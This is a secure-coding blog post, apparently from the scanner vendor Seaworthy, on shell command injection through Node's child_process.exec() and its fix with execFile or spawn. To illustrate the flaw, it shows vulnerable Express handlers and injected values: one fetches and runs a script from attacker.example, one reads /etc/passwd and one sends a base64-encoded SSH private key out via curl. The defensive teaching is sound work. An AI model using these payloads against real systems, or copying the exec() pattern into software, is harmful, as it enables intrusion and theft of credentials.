The command injection risk hiding in child_process.exec()
作者:Seaworthy · 2026年7月23日
Photo by Markus Spiske on Unsplash
The one-liner that ships a shell with it
child_process.exec() is the fastest way to run a command from Node. That's the whole problem. It's so easy that nobody stops to ask what "run a command" actually means under the hood. It means: hand a string to /bin/sh -c, and let the shell interpret it. Pipes, semicolons, backticks, &&, $() substitution, all of it is live. If any part of that string came from a user, you didn't run a command. You opened a shell to your server and let a stranger type into it.
This isn't a theoretical footgun. It's one of the most common vulnerabilities I see in AI-generated Node code, because exec() is the first result when you ask an LLM "how do I run ffmpeg from Node" and it works perfectly in the demo, on your machine, with your filenames.
The setup: convert an uploaded file
Say you're building a tool that lets users upload a video and get back a compressed version. Totally reasonable feature. Here's the version that ends up in a lot of MVPs:
const { exec } = require('child_process');
app.post('/convert', (req, res) => {
const filename = req.body.filename; // e.g. "my-video.mp4"
const outputName = filename.replace('.mp4', '-compressed.mp4');
exec(`ffmpeg -i uploads/${filename} -crf 28 output/${outputName}`, (err, stdout) => {
if (err) return res.status(500).send('conversion failed');
res.send({ output: outputName });
});
});
Works fine for my-video.mp4. Now send this as the filename instead:
my-video.mp4; curl http://attacker.example/x.sh | sh
The shell doesn't care that you meant filename to be a filename. It sees a semicolon and starts a new command. Your server just downloaded and ran a stranger's script, with whatever permissions the Node process has. If that process can read environment variables, database credentials, or an S3 role, so can the attacker.
Same story with the classic "ping this host to check it's up" feature:
exec(`ping -c 4 ${req.query.host}`, callback);
Pass host=8.8.8.8; cat /etc/passwd and you've built a very expensive way to read files. Pass host=$(curl attacker.example/$(cat ~/.ssh/id_rsa | base64)) and you've built something much worse.
Why "just sanitize it" doesn't hold up
The instinct is to blocklist dangerous characters: strip semicolons, ban backticks, regex out &&. Don't do this. Shell metacharacters are a long, platform-dependent list (;, |, &, $(), backticks, >, <, newlines, and more depending on the shell), and missing one means the filter does nothing. You're playing whack-a-mole against a shell grammar you didn't write and don't fully control. Even well-known libraries have shipped shell-escaping bugs. The reliable fix isn't a better filter, it's not invoking a shell at all.
The fix: execFile or spawn with an argument array
execFile and spawn both take the command and its arguments as separate array entries. There's no shell in between to reinterpret them, so a semicolon in a filename is just a semicolon in a filename, not a command separator.
const { execFile } = require('child_process');
const path = require('path');
app.post('/convert', (req, res) => {
const filename = req.body.filename;
// Still validate: reject path traversal and unexpected characters.
if (!/^[\w.-]+\.mp4$/.test(filename)) {
return res.status(400).send('invalid filename');
}
const inputPath = path.join('uploads', filename);
const outputPath = path.join('output', filename.replace('.mp4', '-compressed.mp4'));
execFile('ffmpeg', ['-i', inputPath, '-crf', '28', outputPath], (err, stdout) => {
if (err) return res.status(500).send('conversion failed');
res.send({ output: path.basename(outputPath) });
});
});
The ping example follows the same pattern:
execFile('ping', ['-c', '4', req.query.host], (err, stdout) => {
// still validate that `host` looks like a hostname or IP before this point
});
Two things worth noting. First, this isn't a free pass to skip input validation. execFile stops shell injection, but ffmpeg will still happily read whatever path you hand it, so you still want to check the filename shape and resolve it against an allowed directory (path traversal via ../../etc/passwd is a separate bug from command injection, and both are worth closing). Second, if you genuinely need shell features like pipes or globbing, the honest answer is: build the argument list yourself and use spawn, don't reach for exec because it's shorter to type. If you truly must pass through a shell, treat every piece of that string as hostile and quote it properly, but in practice this need is rarer than people think. Most "I need a shell for this" cases are actually "I need to run three programs and chain their output," which is just three spawn calls in JavaScript instead of one shell pipeline.
The same logic applies outside Node. Python's os.system() and subprocess.run(cmd, shell=True) have the identical failure mode, and the identical fix: pass a list of arguments and skip shell=True. Ruby's backticks and system("cmd #{var}") are the same trap with different syntax. Any language where "run a command" defaults to "hand a string to a shell" will bite you the same way.
Seaworthy's static analysis flags exactly this pattern: calls to child_process.exec(), os.system(), and their equivalents where the command string is built from a variable rather than passed as a fixed literal, so you catch it before it ships rather than after someone finds it for you.
本文由 AI 生成,总结了公开可用的来源。
Seaworthy 会扫描你的代码仓库,发现类似本文提到的各种问题。
安全漏洞、泄露的密钥和配置错误——在部署前捕获。免费运行,无需账户。